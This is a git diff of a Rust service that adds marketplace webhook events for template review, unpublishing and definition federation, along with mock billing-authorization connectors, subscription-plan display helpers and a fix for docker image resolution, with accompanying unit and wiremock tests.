+            vendor_id = vendor_id
+        );
+
+        let payload = MarketplaceWebhookPayload {
+            action: "template_submitted".to_string(),
+            stack_definition: None,
+            definition_format: None,
+            config_files: None,
+            version: None,
             stack_template_id: template.id.to_string(),
             external_id: template.id.to_string(),
             code: Some(template.slug.clone()),
@@ -256,11 +454,154 @@ impl MarketplaceWebhookSender {
             } else {
                 None
             },
+            infrastructure_requirements: if template.infrastructure_requirements
+                != serde_json::json!({})
+            {
+                Some(template.infrastructure_requirements.clone())
+            } else {
+                None
+            },
             creator_name: template.creator_name.clone(),
             deploy_count: template.deploy_count,
             view_count: template.view_count,
             approved_at: template.approved_at.map(|dt| dt.to_rfc3339()),
             required_plan_name: template.required_plan_name.clone(),
+            review_reason: None,
+            next_action_hint: None,
+            vendor_email: None,
+        };
+
+        self.send_webhook(&payload).instrument(span).await
+    }
+
+    /// Send template update-required webhook to User Service.
+    pub async fn send_template_needs_changes(
+        &self,
+        template: &models::marketplace::StackTemplate,
+        vendor_id: &str,
+        review_reason: Option<&str>,
+        next_action_hint: &str,
+    ) -> Result<WebhookResponse, ConnectorError> {
+        let span = tracing::info_span!(
+            "send_template_needs_changes_webhook",
+            template_id = %template.id,
+            vendor_id = vendor_id
+        );
+
+        let payload = MarketplaceWebhookPayload {
+            action: "template_needs_changes".to_string(),
+            stack_definition: None,
+            definition_format: None,
+            config_files: None,
+            version: None,
+            stack_template_id: template.id.to_string(),
+            external_id: template.id.to_string(),
+            code: Some(template.slug.clone()),
+            name: Some(template.name.clone()),
+            description: template
+                .short_description
+                .clone()
+                .or_else(|| template.long_description.clone()),
+            price: template.price,
+            billing_cycle: template.billing_cycle.clone(),
+            currency: template.currency.clone(),
+            vendor_user_id: Some(vendor_id.to_string()),
+            vendor_name: template.creator_name.clone(),
+            category: template.category_code.clone(),
+            tags: if let serde_json::Value::Array(_) = template.tags {
+                Some(template.tags.clone())
+            } else {
+                None
+            },
+            long_description: template.long_description.clone(),
+            tech_stack: if template.tech_stack != serde_json::json!({}) {
+                Some(template.tech_stack.clone())
+            } else {
+                None
+            },
+            infrastructure_requirements: if template.infrastructure_requirements
+                != serde_json::json!({})
+            {
+                Some(template.infrastructure_requirements.clone())
+            } else {
+                None
+            },
+            creator_name: template.creator_name.clone(),
+            deploy_count: template.deploy_count,
+            view_count: template.view_count,
+            approved_at: template.approved_at.map(|dt| dt.to_rfc3339()),
+            required_plan_name: template.required_plan_name.clone(),
+            review_reason: review_reason.map(str::to_string),
+            next_action_hint: Some(next_action_hint.to_string()),
+            vendor_email: None,
+        };
+
+        self.send_webhook(&payload).instrument(span).await
+    }
+
+    /// Send template review-rejected webhook to User Service.
+    /// This notifies the creator without invoking marketplace removal behavior.
+    pub async fn send_template_review_rejected(
+        &self,
+        template: &models::marketplace::StackTemplate,
+        vendor_id: &str,
+        review_reason: Option<&str>,
+    ) -> Result<WebhookResponse, ConnectorError> {
+        let span = tracing::info_span!(
+            "send_template_review_rejected_webhook",
+            template_id = %template.id,
+            vendor_id = vendor_id
+        );
+
+        let payload = MarketplaceWebhookPayload {
+            action: "template_review_rejected".to_string(),
+            stack_definition: None,
+            definition_format: None,
+            config_files: None,
+            version: None,
+            stack_template_id: template.id.to_string(),
+            external_id: template.id.to_string(),
+            code: Some(template.slug.clone()),
+            name: Some(template.name.clone()),
+            description: template
+                .short_description
+                .clone()
+                .or_else(|| template.long_description.clone()),
+            price: template.price,
+            billing_cycle: template.billing_cycle.clone(),
+            currency: template.currency.clone(),
+            vendor_user_id: Some(vendor_id.to_string()),
+            vendor_name: template.creator_name.clone(),
+            category: template.category_code.clone(),
+            tags: if let serde_json::Value::Array(_) = template.tags {
+                Some(template.tags.clone())
+            } else {
+                None
+            },
+            long_description: template.long_description.clone(),
+            tech_stack: if template.tech_stack != serde_json::json!({}) {
+                Some(template.tech_stack.clone())
+            } else {
+                None
+            },
+            infrastructure_requirements: if template.infrastructure_requirements
+                != serde_json::json!({})
+            {
+                Some(template.infrastructure_requirements.clone())
+            } else {
+                None
+            },
+            creator_name: template.creator_name.clone(),
+            deploy_count: template.deploy_count,
+            view_count: template.view_count,
+            approved_at: template.approved_at.map(|dt| dt.to_rfc3339()),
+            required_plan_name: template.required_plan_name.clone(),
+            review_reason: review_reason.map(str::to_string),
+            next_action_hint: Some(
+                "Review the feedback, update the stack, and submit a new revision when it is ready."
+                    .to_string(),
+            ),
+            vendor_email: None,
         };
 
         self.send_webhook(&payload).instrument(span).await
@@ -279,6 +620,10 @@ impl MarketplaceWebhookSender {
 
         let payload = MarketplaceWebhookPayload {
             action: "template_rejected".to_string(),
+            stack_definition: None,
+            definition_format: None,
+            config_files: None,
+            version: None,
             stack_template_id: stack_template_id.to_string(),
             external_id: stack_template_id.to_string(),
             code: None,
@@ -293,11 +638,79 @@ impl MarketplaceWebhookSender {
             tags: None,
             long_description: None,
             tech_stack: None,
+            infrastructure_requirements: None,
             creator_name: None,
             deploy_count: None,
             view_count: None,
             approved_at: None,
             required_plan_name: None,
+            review_reason: None,
+            next_action_hint: None,
+            vendor_email: None,
+        };
+
+        self.send_webhook(&payload).instrument(span).await
+    }
+
+    /// Send template unpublished webhook to User Service.
+    /// This deactivates the marketplace listing but preserves the subscription record.
+    pub async fn send_template_unpublished(
+        &self,
+        template: &models::marketplace::StackTemplate,
+        vendor_id: &str,
+    ) -> Result<WebhookResponse, ConnectorError> {
+        let span = tracing::info_span!(
+            "send_template_unpublished_webhook",
+            template_id = %template.id,
+            vendor_id = vendor_id
+        );
+
+        let payload = MarketplaceWebhookPayload {
+            action: "template_unpublished".to_string(),
+            stack_definition: None,
+            definition_format: None,
+            config_files: None,
+            version: None,
+            stack_template_id: template.id.to_string(),
+            external_id: template.id.to_string(),
+            code: Some(template.slug.clone()),
+            name: Some(template.name.clone()),
+            description: template
+                .short_description
+                .clone()
+                .or_else(|| template.long_description.clone()),
+            price: template.price,
+            billing_cycle: template.billing_cycle.clone(),
+            currency: template.currency.clone(),
+            vendor_user_id: Some(vendor_id.to_string()),
+            vendor_name: template.creator_name.clone(),
+            category: template.category_code.clone(),
+            tags: if let serde_json::Value::Array(_) = template.tags {
+                Some(template.tags.clone())
+            } else {
+                None
+            },
+            long_description: template.long_description.clone(),
+            tech_stack: if template.tech_stack != serde_json::json!({}) {
+                Some(template.tech_stack.clone())
+            } else {
+                None
+            },
+            infrastructure_requirements: if template.infrastructure_requirements
+                != serde_json::json!({})
+            {
+                Some(template.infrastructure_requirements.clone())
+            } else {
+                None
+            },
+            creator_name: template.creator_name.clone(),
+            deploy_count: template.deploy_count,
+            view_count: template.view_count,
+            approved_at: template.approved_at.map(|dt| dt.to_rfc3339()),
+            required_plan_name: template.required_plan_name.clone(),
+            review_reason: None,
+            next_action_hint: None,
+            vendor_email: None,
         };
 
         self.send_webhook(&payload).instrument(span).await
@@ -423,6 +836,11 @@ mod tests {
             view_count: None,
             approved_at: None,
             required_plan_name: None,
+            review_reason: None,
+            next_action_hint: None,
+            vendor_email: None,
+            infrastructure_requirements: None,
+            ..Default::default()
         };
 
         let json = serde_json::to_string(&payload).expect("Failed to serialize");
@@ -458,6 +876,11 @@ mod tests {
             view_count: None,
             approved_at: None,
             required_plan_name: None,
+            review_reason: None,
+            next_action_hint: None,
+            vendor_email: None,
+            infrastructure_requirements: None,
+            ..Default::default()
         };
 
         let json = serde_json::to_string(&payload).expect("Failed to serialize");
@@ -489,6 +912,11 @@ mod tests {
             view_count: None,
             approved_at: None,
             required_plan_name: None,
+            review_reason: None,
+            next_action_hint: None,
+            vendor_email: None,
+            infrastructure_requirements: None,
+            ..Default::default()
         };
 
         assert_eq!(payload.action, "template_approved");
@@ -520,6 +948,11 @@ mod tests {
             view_count: None,
             approved_at: None,
             required_plan_name: None,
+            review_reason: None,
+            next_action_hint: None,
+            vendor_email: None,
+            infrastructure_requirements: None,
+            ..Default::default()
         };
 
         assert_eq!(payload.action, "template_updated");
@@ -551,6 +984,11 @@ mod tests {
             view_count: None,
             approved_at: None,
             required_plan_name: None,
+            review_reason: None,
+            next_action_hint: None,
+            vendor_email: None,
+            infrastructure_requirements: None,
+            ..Default::default()
         };
 
         assert_eq!(payload.action, "template_approved");
@@ -646,6 +1084,11 @@ mod tests {
             view_count: Some(1337),
             approved_at: Some("2026-02-11T10:00:00Z".to_string()),
             required_plan_name: Some("starter".to_string()),
+            review_reason: None,
+            next_action_hint: None,
+            vendor_email: None,
+            infrastructure_requirements: None,
+            ..Default::default()
         };
 
         // Verify all fields are accessible
@@ -679,6 +1122,11 @@ mod tests {
             view_count: None,
             approved_at: None,
             required_plan_name: None,
+            review_reason: None,
+            next_action_hint: None,
+            vendor_email: None,
+            infrastructure_requirements: None,
+            ..Default::default()
         };
 
         // Should serialize without errors even with all optional fields as None
@@ -686,4 +1134,155 @@ mod tests {
         assert!(json.contains("template_rejected"));
         assert!(json.contains("external_id"));
     }
+
+    #[test]
+    fn non_empty_json_filters_empty_values() {
+        assert!(non_empty_json(&serde_json::json!(null)).is_none());
+        assert!(non_empty_json(&serde_json::json!([])).is_none());
+        assert!(non_empty_json(&serde_json::json!({})).is_none());
+        assert!(non_empty_json(&serde_json::json!([{ "name": "docker-compose.yml" }])).is_some());
+        assert!(non_empty_json(&serde_json::json!({ "k": "v" })).is_some());
+    }
+
+    #[test]
+    fn payload_omits_definition_fields_when_none() {
+        let payload = MarketplaceWebhookPayload {
+            action: "template_updated".to_string(),
+            stack_template_id: "id".to_string(),
+            external_id: "id".to_string(),
+            ..Default::default()
+        };
+        let json = serde_json::to_value(&payload).unwrap();
+        assert!(json.get("stack_definition").is_none());
+        assert!(json.get("definition_format").is_none());
+        assert!(json.get("config_files").is_none());
+        assert!(json.get("version").is_none());
+    }
+
+    #[test]
+    fn payload_includes_definition_fields_when_present() {
+        let payload = MarketplaceWebhookPayload {
+            action: "template_approved".to_string(),
+            stack_template_id: "id".to_string(),
+            external_id: "id".to_string(),
+            stack_definition: Some(serde_json::json!("services:\n  app: {}")),
+            definition_format: Some("yaml".to_string()),
+            version: Some("2.0.0".to_string()),
+            ..Default::default()
+        };
+        let json = serde_json::to_value(&payload).unwrap();
+        assert_eq!(json["stack_definition"], "services:\n  app: {}");
+        assert_eq!(json["definition_format"], "yaml");
+        assert_eq!(json["version"], "2.0.0");
+    }
+
+    /// End-to-end: `send_template_published` must POST the federated
+    /// `stack_definition` (compose) to `/marketplace/sync` so the User Service
+    /// can cache a deployable definition.
+    #[tokio::test]
+    async fn send_template_published_federates_stack_definition() {
+        use wiremock::matchers::{method, path};
+        use wiremock::{Mock, MockServer, ResponseTemplate};
+
+        let server = MockServer::start().await;
+        Mock::given(method("POST"))
+            .and(path("/marketplace/sync"))
+            .respond_with(ResponseTemplate::new(200).set_body_json(serde_json::json!({
+                "success": true,
+                "message": "ok",
+                "product_id": "p1"
+            })))
+            .mount(&server)
+            .await;
+
+        let sender = MarketplaceWebhookSender::new(WebhookSenderConfig {
+            base_url: server.uri(),
+            bearer_token: "test-token".to_string(),
+            timeout_secs: 5,
+            retry_attempts: 1,
+        });
+
+        let template = models::marketplace::StackTemplate {
+            id: uuid::Uuid::new_v4(),
+            slug: "n8n".to_string(),
+            name: "n8n".to_string(),
+            creator_user_id: "vendor-1".to_string(),
+            ..Default::default()
+        };
+        let version = models::marketplace::StackTemplateVersion {
+            template_id: template.id,
+            version: "1.0.0".to_string(),
+            stack_definition: serde_json::json!(
+                "version: '3.8'\nservices:\n  n8n:\n    image: n8nio/n8n:latest"
+            ),
+            definition_format: Some("yaml".to_string()),
+            // Empty config_files must be filtered out of the webhook body.
+            config_files: serde_json::json!([]),
+            ..Default::default()
+        };
+
+        let resp = sender
+            .send_template_published(&template, "vendor-1", None, Some(&version))
+            .await
+            .expect("webhook should succeed");
+        assert!(resp.success);
+
+        let requests = server
+            .received_requests()
+            .await
+            .expect("requests should be recorded");
+        assert_eq!(requests.len(), 1);
+        let body: serde_json::Value = serde_json::from_slice(&requests[0].body).unwrap();
+
+        assert_eq!(body["action"], "template_published");
+        assert_eq!(body["definition_format"], "yaml");
+        assert!(body["stack_definition"]
+            .as_str()
+            .unwrap()
+            .contains("n8nio/n8n:latest"));
+        assert_eq!(body["version"], "1.0.0");
+        // Empty config_files omitted.
+        assert!(body.get("config_files").is_none());
+    }
+
+    /// Metadata-only actions must NOT carry a definition.
+    #[tokio::test]
+    async fn send_template_updated_does_not_federate_definition() {
+        use wiremock::matchers::{method, path};
+        use wiremock::{Mock, MockServer, ResponseTemplate};
+
+        let server = MockServer::start().await;
+        Mock::given(method("POST"))
+            .and(path("/marketplace/sync"))
+            .respond_with(ResponseTemplate::new(200).set_body_json(serde_json::json!({
+                "success": true
+            })))
+            .mount(&server)
+            .await;
+
+        let sender = MarketplaceWebhookSender::new(WebhookSenderConfig {
+            base_url: server.uri(),
+            bearer_token: "t".to_string(),
+            timeout_secs: 5,
+            retry_attempts: 1,
+        });
+
+        let template = models::marketplace::StackTemplate {
+            id: uuid::Uuid::new_v4(),
+            slug: "n8n".to_string(),
+            name: "n8n".to_string(),
+            creator_user_id: "vendor-1".to_string(),
+            ..Default::default()
+        };
+
+        sender
+            .send_template_updated(&template, "vendor-1", None)
+            .await
+            .expect("webhook should succeed");
+
+        let requests = server.received_requests().await.unwrap();
+        let body: serde_json::Value = serde_json::from_slice(&requests[0].body).unwrap();
+        assert_eq!(body["action"], "template_updated");
+        assert!(body.get("stack_definition").is_none());
+    }
 }
diff --git a/src/connectors/user_service/mock.rs b/src/connectors/user_service/mock.rs
index 5e8f54ba..09a07853 100644
--- a/src/connectors/user_service/mock.rs
+++ b/src/connectors/user_service/mock.rs
@@ -3,8 +3,8 @@ use uuid::Uuid;
 use crate::connectors::errors::ConnectorError;
 
 use super::{
-    CategoryInfo, PlanDefinition, ProductInfo, StackResponse, UserPlanInfo, UserProduct,
-    UserProfile, UserServiceConnector,
+    AuthorizationHandle, BillingCapability, CategoryInfo, PlanDefinition, ProductInfo,
+    StackResponse, UserPlanInfo, UserProduct, UserProfile, UserServiceConnector,
 };
 
 /// Mock User Service for testing - always succeeds
@@ -103,6 +103,7 @@ impl UserServiceConnector for MockUserServiceConnector {
 
     async fn get_user_profile(&self, _user_token: &str) -> Result<UserProfile, ConnectorError> {
         Ok(UserProfile {
+            id: "mock-user-id".to_string(),
             email: "test@example.com".to_string(),
             plan: Some(serde_json::json!({
                 "name": "professional",
@@ -183,4 +184,118 @@ impl UserServiceConnector for MockUserServiceConnector {
             },
         ])
     }
+
+    async fn search_marketplace_templates(
+        &self,
+        _user_token: &str,
+        query: Option<&str>,
+        category: Option<&str>,
+        is_marketplace: Option<bool>,
+        _page: Option<u32>,
+        max_results: Option<u32>,
+    ) -> Result<Vec<serde_json::Value>, ConnectorError> {
+        let mut items = vec![
+            serde_json::json!({
+                "name": "Dify",
+                "code": "dify",
+                "description": "Dify AI application platform",
+                "category": "AI",
+                "is_from_marketplace": true
+            }),
+            serde_json::json!({
+                "name": "Stackdog",
+                "code": "stackdog",
+                "description": "Security monitoring",
+                "category": "Security",
+                "is_from_marketplace": true
+            }),
+        ];
+
+        if let Some(expected) = is_marketplace {
+            items.retain(|item| {
+                item.get("is_from_marketplace")
+                    .and_then(|value| value.as_bool())
+                    == Some(expected)
+            });
+        }
+        if let Some(query) = query.map(|query| query.to_ascii_lowercase()) {
+            items.retain(|item| {
+                ["name", "code", "description"].iter().any(|field| {
+                    item.get(field)
+                        .and_then(|value| value.as_str())
+                        .map(|value| value.to_ascii_lowercase().contains(&query))
+                        .unwrap_or(false)
+                })
+            });
+        }
+        if let Some(category) = category.map(|category| category.to_ascii_lowercase()) {
+            items.retain(|item| {
+                item.get("category")
+                    .and_then(|value| value.as_str())
+                    .map(|value| value.to_ascii_lowercase() == category)
+                    .unwrap_or(false)
+            });
+        }
+        if let Some(limit) = max_results {
+            items.truncate(limit as usize);
+        }
+
+        Ok(items)
+    }
+
+    async fn get_catalog_application(
+        &self,
+        _user_token: &str,
+        _code: &str,
+    ) -> Result<Option<serde_json::Value>, ConnectorError> {
+        Ok(None)
+    }
+
+    async fn can_charge(&self, _user_token: &str) -> Result<BillingCapability, ConnectorError> {
+        Ok(BillingCapability {
+            can_charge: true,
+            reason: None,
+        })
+    }
+
+    async fn authorize_install_charge(
+        &self,
+        _user_token: &str,
+        _template_id: &Uuid,
+        amount_minor: i64,
+        currency: &str,
+        idempotency_key: &str,
+    ) -> Result<AuthorizationHandle, ConnectorError> {
+        Ok(AuthorizationHandle {
+            authorization_id: format!("mock-auth-{}", idempotency_key),
+            amount_minor,
+            currency: currency.to_string(),
+            expires_at: Some("2099-01-01T00:00:00Z".to_string()),
+            status: "authorized".to_string(),
+        })
+    }
+
+    async fn capture_install_charge(
+        &self,
+        _auth_token: &str,
+        authorization_id: &str,
+        _deployment_hash: &str,
+    ) -> Result<AuthorizationHandle, ConnectorError> {
+        Ok(AuthorizationHandle {
+            authorization_id: authorization_id.to_string(),
+            amount_minor: 0,
+            currency: "USD".to_string(),
+            expires_at: None,
+            status: "captured".to_string(),
+        })
+    }
+
+    async fn void_install_charge(
+        &self,
+        _auth_token: &str,
+        _authorization_id: &str,
+        _reason: &str,
+    ) -> Result<(), ConnectorError> {
+        Ok(())
+    }
 }
diff --git a/src/connectors/user_service/mod.rs b/src/connectors/user_service/mod.rs
index f86f0a2e..02e7cc54 100644
--- a/src/connectors/user_service/mod.rs
+++ b/src/connectors/user_service/mod.rs
@@ -6,12 +6,11 @@ pub mod deployment_resolver;
 pub mod deployment_validator;
 pub mod init;
 pub mod install;
-pub mod marketplace_webhook;
 pub mod marketplace_search;
+pub mod marketplace_webhook;
 pub mod mock;
 pub mod notifications;
 pub mod plan;
-pub mod profile;
 pub mod stack;
 pub mod types;
 pub mod utils;
@@ -27,8 +26,8 @@ pub use marketplace_webhook::{
 };
 pub use mock::MockUserServiceConnector;
 pub use types::{
-    CategoryInfo, PlanDefinition, ProductInfo, StackResponse, UserPlanInfo, UserProduct,
-    UserProfile,
+    AuthorizationHandle, BillingCapability, CategoryInfo, PlanDefinition, ProductInfo,
+    StackResponse, UserPlanInfo, UserProduct, UserProfile,
 };
 
 #[cfg(test)]
diff --git a/src/connectors/user_service/plan.rs b/src/connectors/user_service/plan.rs
index 0e88fbda..9418d7b0 100644
--- a/src/connectors/user_service/plan.rs
+++ b/src/connectors/user_service/plan.rs
@@ -12,8 +12,8 @@ pub struct SubscriptionPlan {
     /// Plan code (e.g., "plan-free-periodically", "plan-basic-monthly")
     pub code: Option<String>,
 
-    /// Plan features and limits (array of strings)
-    pub includes: Option<Vec<String>>,
+    /// Plan features and limits. User Service may return strings or structured objects.
+    pub includes: Option<serde_json::Value>,
 
     /// Expiration date (null for active subscriptions)
     pub date_end: Option<String>,
@@ -37,13 +37,22 @@ pub struct SubscriptionPlan {
     pub billing_id: Option<String>,
 }
 
+#[derive(Debug, Clone, Deserialize)]
+pub struct UserServiceMePlanResponse {
+    pub user: UserServiceMePlanUser,
+}
+
+#[derive(Debug, Clone, Deserialize)]
+pub struct UserServiceMePlanUser {
+    pub plan: SubscriptionPlan,
+}
+
 impl UserServiceClient {
-    /// Get user's subscription plan and limits
-    pub async fn get_subscription_plan(
+    /// Get the current `/oauth_server/api/me` response fields required for plan display.
+    pub async fn get_me_plan_response(
         &self,
         bearer_token: &str,
-    ) -> Result<SubscriptionPlan, ConnectorError> {
-        // Use the /oauth_server/api/me endpoint which returns user profile including plan info
+    ) -> Result<UserServiceMePlanResponse, ConnectorError> {
         let url = format!("{}/oauth_server/api/me", self.base_url);
 
         let response = self
@@ -63,18 +72,234 @@ impl UserServiceClient {
             )));
         }
 
-        // The response includes the user profile with "plan" field
-        let user_profile: serde_json::Value = response
+        response
             .json()
             .await
-            .map_err(|e| ConnectorError::InvalidResponse(e.to_string()))?;
+            .map_err(|e| ConnectorError::InvalidResponse(e.to_string()))
+    }
+
+    /// Extract the subscription plan from the current `/oauth_server/api/me` response.
+    pub async fn get_subscription_plan(
+        &self,
+        bearer_token: &str,
+    ) -> Result<SubscriptionPlan, ConnectorError> {
+        Ok(self.get_me_plan_response(bearer_token).await?.user.plan)
+    }
+}
+
+pub fn user_service_url_from_sources(
+    env_auth_url: Option<String>,
+    env_api_url: Option<String>,
+    stacker_url: Option<String>,
+    config_auth_url: Option<String>,
+) -> Option<String> {
+    env_auth_url
+        .or(env_api_url)
+        .or_else(|| stacker_url.and_then(|url| user_service_url_from_stacker_url(&url)))
+        .or(config_auth_url)
+        .map(|url| normalize_user_service_base_url(&url))
+        .filter(|url| !url.is_empty())
+}
+
+pub fn user_service_url_from_stacker_url(url: &str) -> Option<String> {
+    let normalized = url.trim_end_matches('/').trim_end_matches("/api/v1");
+    if let Some(origin) = normalized.strip_suffix("/server/stacker") {
+        return Some(format!("{origin}/server/user"));
+    }
+    if let Some(origin) = normalized.strip_suffix("/stacker") {
+        return Some(format!("{origin}/server/user"));
+    }
+    None
+}
+
+pub fn normalize_user_service_base_url(url: &str) -> String {
+    let mut normalized = url.trim_end_matches('/').to_string();
+    for suffix in ["/oauth_server/api/me", "/auth/login"] {
+        if let Some(base) = normalized.strip_suffix(suffix) {
+            normalized = base.to_string();
+            break;
+        }
+    }
+    normalized
+}
+
+pub fn get_subscription_plan_blocking(
+    user_service_url: &str,
+    bearer_token: &str,
+) -> Result<SubscriptionPlan, ConnectorError> {
+    let runtime = tokio::runtime::Builder::new_current_thread()
+        .enable_all()
+        .build()
+        .map_err(|e| ConnectorError::Internal(format!("Failed to create async runtime: {e}")))?;
+
+    let client = UserServiceClient::new_public(&normalize_user_service_base_url(user_service_url));
+    runtime.block_on(client.get_subscription_plan(bearer_token))
+}
+
+pub fn subscription_plan_lines(plan: &SubscriptionPlan) -> Vec<String> {
+    let mut lines = vec!["Subscription:".to_string()];
+    lines.push(format!("  Plan:          {}", plan_label(plan)));
+    lines.push(format!("  Status:        {}", plan_status(plan)));
+    if let Some(price) = plan_price(plan) {
+        lines.push(format!("  Price:         {}", price));
+    }
+    if let Some(date_end) = plan.date_end.as_deref().filter(|value| !value.is_empty()) {
+        lines.push(format!("  Expires at:    {}", date_end));
+    }
+    if let Some(date_of_purchase) = plan
+        .date_of_purchase
+        .as_deref()
+        .filter(|value| !value.is_empty())
+    {
+        lines.push(format!("  Purchased at:  {}", date_of_purchase));
+    }
+    if let Some(includes) = plan.includes.as_ref().and_then(summarize_includes) {
+        lines.push(format!("  Includes:      {}", includes));
+    }
+    lines
+}
+
+fn plan_label(plan: &SubscriptionPlan) -> String {
+    match (plan.name.as_deref(), plan.code.as_deref()) {
+        (Some(name), Some(code)) => format!("{name} ({code})"),
+        (Some(name), None) => name.to_string(),
+        (None, Some(code)) => code.to_string(),
+        (None, None) => "unknown".to_string(),
+    }
+}
+
+fn plan_status(plan: &SubscriptionPlan) -> &'static str {
+    match plan.active {
+        Some(true) => "active",
+        Some(false) => "inactive",
+        None => "unknown",
+    }
+}
+
+fn plan_price(plan: &SubscriptionPlan) -> Option<String> {
+    let price = plan.price.as_deref()?;
+    let mut value = price.to_string();
+    if let Some(currency) = plan.currency.as_deref().filter(|value| !value.is_empty()) {
+        value.push(' ');
+        value.push_str(currency);
+    }
+    if let Some(period) = plan.period.as_deref().filter(|value| !value.is_empty()) {
+        value.push_str(" / ");
+        value.push_str(period);
+    }
+    Some(value)
+}
+
+fn summarize_include_entry(value: &serde_json::Value) -> Option<String> {
+    match value {
+        serde_json::Value::String(text) => Some(text.clone()),
+        serde_json::Value::Object(map) => map
+            .get("name")
+            .or_else(|| map.get("label"))
+            .or_else(|| map.get("code"))
+            .and_then(|value| value.as_str())
+            .map(str::to_string)
+            .or_else(|| serde_json::to_string(value).ok()),
+        _ => serde_json::to_string(value).ok(),
+    }
+}
+
+fn summarize_includes(value: &serde_json::Value) -> Option<String> {
+    match value {
+        serde_json::Value::Array(items) => {
+            let labels: Vec<String> = items.iter().filter_map(summarize_include_entry).collect();
+            if labels.is_empty() {
+                None
+            } else {
+                Some(labels.join(", "))
+            }
+        }
+        serde_json::Value::Null => None,
+        other => summarize_include_entry(other),
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use serde_json::json;
+
+    #[test]
+    fn user_service_url_prefers_env_auth_url() {
+        let url = user_service_url_from_sources(
+            Some("https://user.example/".to_string()),
+            Some("https://api.example".to_string()),
+            Some("https://stacker.example".to_string()),
+            Some("https://config.example".to_string()),
+        );
+
+        assert_eq!(url.as_deref(), Some("https://user.example"));
+    }
+
+    #[test]
+    fn user_service_url_normalizes_me_endpoint_to_base_url() {
+        let url = user_service_url_from_sources(
+            Some("https://dev.try.direct/server/user/oauth_server/api/me".to_string()),
+            None,
+            None,
+            None,
+        );
+
+        assert_eq!(url.as_deref(), Some("https://dev.try.direct/server/user"));
+    }
+
+    #[test]
+    fn user_service_url_normalizes_login_endpoint_to_base_url() {
+        let url = user_service_url_from_sources(
+            Some("https://dev.try.direct/server/user/auth/login".to_string()),
+            None,
+            None,
+            None,
+        );
+
+        assert_eq!(url.as_deref(), Some("https://dev.try.direct/server/user"));
+    }
+
+    #[test]
+    fn user_service_url_derives_from_saved_stacker_url_before_config() {
+        let url = user_service_url_from_sources(
+            None,
+            None,
+            Some("https://dev.try.direct/stacker".to_string()),
+            Some("https://try.direct/server/user".to_string()),
+        );
+
+        assert_eq!(url.as_deref(), Some("https://dev.try.direct/server/user"));
+    }
+
+    #[test]
+    fn subscription_plan_lines_show_core_plan_fields() {
+        let plan = SubscriptionPlan {
+            name: Some("Free".to_string()),
+            code: Some("plan-free-periodically".to_string()),
+            includes: Some(json!([
+                { "code": "deploys-20", "name": "20 deploys per month" },
+                "Community support"
+            ])),
+            date_end: None,
+            active: Some(true),
+            price: Some("0.00".to_string()),
+            currency: Some("USD".to_string()),
+            period: Some("month".to_string()),
+            date_of_purchase: Some("2026-06-15T09:00:00Z".to_string()),
+            billing_id: Some("billing-1".to_string()),
+        };
 
-        // Extract the "plan" field from the user profile
-        let plan_value = user_profile.get("plan").ok_or_else(|| {
-            ConnectorError::InvalidResponse("No plan field in user profile".to_string())
-        })?;
+        let lines = subscription_plan_lines(&plan);
 
-        serde_json::from_value(plan_value.clone())
-            .map_err(|e| ConnectorError::InvalidResponse(format!("Failed to parse plan: {}", e)))
+        assert!(lines
+            .iter()
+            .any(|line| line.contains("Free (plan-free-periodically)")));
+        assert!(lines.iter().any(|line| line.contains("active")));
+        assert!(lines.iter().any(|line| line.contains("0.00 USD / month")));
+        assert!(lines
+            .iter()
+            .any(|line| line.contains("20 deploys per month")));
+        assert!(lines.iter().any(|line| line.contains("Community support")));
     }
 }
diff --git a/src/connectors/user_service/profile.rs b/src/connectors/user_service/profile.rs
deleted file mode 100644
index d143d93f..00000000
--- a/src/connectors/user_service/profile.rs
+++ /dev/null
@@ -1,36 +0,0 @@
-use crate::connectors::errors::ConnectorError;
-
-use super::UserProfile;
-use super::UserServiceClient;
-
-impl UserServiceClient {
-    /// Get current user profile
-    pub async fn get_user_profile(
-        &self,
-        bearer_token: &str,
-    ) -> Result<UserProfile, ConnectorError> {
-        let url = format!("{}/auth/me", self.base_url);
-
-        let response = self
-            .http_client
-            .get(&url)
-            .header("Authorization", format!("Bearer {}", bearer_token))
-            .send()
-            .await
-            .map_err(ConnectorError::from)?;
-
-        if !response.status().is_success() {
-            let status = response.status().as_u16();
-            let body = response.text().await.unwrap_or_default();
-            return Err(ConnectorError::HttpError(format!(
-                "User Service error ({}): {}",
-                status, body
-            )));
-        }
-
-        response
-            .json::<UserProfile>()
-            .await
-            .map_err(|e| ConnectorError::InvalidResponse(e.to_string()))
-    }
-}
diff --git a/src/connectors/user_service/stack.rs b/src/connectors/user_service/stack.rs
index 484df048..aa72540b 100644
--- a/src/connectors/user_service/stack.rs
+++ b/src/connectors/user_service/stack.rs
@@ -125,18 +125,11 @@ pub(crate) fn application_from_stack_view(item: StackViewItem) -> Application {
         .or_else(|| value.get("category"))
         .and_then(|v| v.as_str())
         .map(|s| s.to_string());
-    let docker_image = value
-        .get("image")
-        .and_then(|v| v.as_str())
-        .map(|s| s.to_string())
-        .or_else(|| {
-            value
-                .get("images")
-                .and_then(|v| v.as_array())
-                .and_then(|arr| arr.first())
-                .and_then(|v| v.as_str())
-                .map(|s| s.to_string())
-        });
+    // IMPORTANT: `value["image"]`/`value["images"]` on a stack_view row are the
+    // cloud/server OS image (e.g. "docker-ce"), NOT a container image, so they
+    // must never be used as docker_image. Resolve the real image from the member
+    // apps' dockerhub_* fields instead (mirrors the User Service fix).
+    let docker_image = resolve_stack_view_docker_image(&value);
     let default_port = value
         .get("ports")
         .and_then(|v| v.as_array())
@@ -160,5 +153,57 @@ pub(crate) fn application_from_stack_view(item: StackViewItem) -> Application {
         default_env: None,
         default_ports: None,
         default_config_files: None,
+        services: None,
+    }
+}
+
+/// Build a container image string for a single stack member app from its
+/// `dockerhub_*` fields (defaults the org to "trydirect"), mirroring the User
+/// Service `_build_docker_image` helper. Returns None when no image is set.
+fn member_docker_image(member: &serde_json::Value) -> Option<String> {
+    let image = member
+        .get("dockerhub_image")
+        .and_then(|v| v.as_str())
+        .map(str::trim)
+        .filter(|s| !s.is_empty())?;
+    let name = member
+        .get("dockerhub_name")
+        .and_then(|v| v.as_str())
+        .map(str::trim)
+        .filter(|s| !s.is_empty())
+        .unwrap_or("trydirect");
+    if let Some(repo) = member
+        .get("dockerhub_repo")
+        .and_then(|v| v.as_str())
+        .map(str::trim)
+        .filter(|s| !s.is_empty())
+    {
+        Some(format!("{name}/{repo}"))
+    } else {
+        Some(format!("{name}/{image}"))
+    }
+}
+
+/// Resolve a container image for a stack_view row without ever falling back to
